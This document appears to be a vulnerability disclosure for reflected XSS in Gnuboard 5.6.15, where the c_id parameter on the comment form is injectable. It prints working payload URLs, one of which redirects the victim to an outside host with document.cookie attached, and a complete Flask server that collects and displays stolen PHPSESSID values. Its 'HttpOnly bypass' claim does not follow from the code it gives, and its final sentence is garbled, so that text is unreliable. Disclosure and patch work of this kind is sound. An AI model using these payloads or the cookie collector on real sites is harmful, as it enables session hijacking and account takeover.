Gnboard 5.6.15 Open-source git address

https://github.com/gnuboard/gnuboard5

Patched Version: Gnuboard 5.6.16 https://sir.kr/g5_pds/7495

Patch history : https://github.com/gnuboard/gnuboard5/commit/002e43e5fb84b465357b445772c881e196e100d3

Reflected XSS occurred in the latest version of current reference Gnboard5 5.6.15.

If you have permission to write comments on a post after accessing the post, the vulnerability occurs through the c_id value among the hidden values required to write comments.

Below is the Attacking Proof Code (PoC) and can be tested by switching to ascii code using the String.fromCharCode function and specifying the domain you want.

PoC

[http://127.0.0.1:8081/bbs/board.php?bo_table=free&wr_id=1&c_id=1](<http://127.0.0.1:8081/bbs/board.php?bo_table=free&wr_id=1&c_id=1>)"style=content-visibility:auto%20oncontentvisibilityautostatechange=alert(/tetest/)//

[http://127.0.0.1:8081/bbs/board.php?bo_table=free&wr_id=1&c_id=1](<http://127.0.0.1:8081/bbs/board.php?bo_table=free&wr_id=1&c_id=1>)"style=content-visibility:auto%20oncontentvisibilityautostatechange=location.href=String.fromCharCode(104,116,116,112,115,58,47,47,121,112,119,109,108,118,105,46,114,101,113,117,101,115,116,46,100,114,101,97,109,104,97,99,107,46,103,97,109,101,115,47,116,63,99,61)%2Bdocument.cookie//

1982358760_1755697378.7517.png

1982358760_1755697362.6768.png

image.png

By default, when you log in, important cookies are set to HttpOnly and cannot be stolen by script, but you can steal them in other ways.

HttpOnly Bypass

//cookie_taker.py
from flask import Flask, request, jsonify, render_template_string
import json
from datetime import datetime

app = Flask(__name__)

LOG_FILE = 'sessions.log'

# 클라이언트 PHPSESSID를 받아 JSON으로 반환하고 파일에 저장
@app.route('/get', methods=['GET'])
def get_session():
    phpsessid = request.cookies.get('PHPSESSID')
    response = {'PHPSESSID': phpsessid}

    if phpsessid:
        with open(LOG_FILE, 'a') as f:
            log_entry = {
                'timestamp': datetime.utcnow().isoformat(),
                'PHPSESSID': phpsessid
            }
            f.write(json.dumps(log_entry) + '\\n')

    return jsonify(response)

@app.route('/view', methods=['GET'])
def view_sessions():
    try:
        with open(LOG_FILE, 'r') as f:
            lines = f.readlines()
        
        sessions = [json.loads(line) for line in lines]
    except FileNotFoundError:
        sessions = []

   
    html = '''
    <html>
        <head><title>Session Logs</title></head>
        <body>
            <h1>Saved PHPSESSID Logs</h1>
            <table border="1" cellpadding="5">
                <tr><th>Timestamp (UTC)</th><th>PHPSESSID</th></tr>
                {% for s in sessions %}
                <tr><td>{{ s.timestamp }}</td><td>{{ s.PHPSESSID }}</td></tr>
                {% endfor %}
            </table>
        </body>
    </html>
    '''
    return render_template_string(html, sessions=sessions)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

If you open the web server with Python code above and access 'http://localhost:5000/get', you can save the cookie value as json data and go to 'http://localhost:5000/view' to see the value of the stolen cookie.

In addition, when entering and ' because of 'HTML Entity', it is converted into \\' and \\" to bypass 'String.fromCharCode', but it can be bypassed using ```.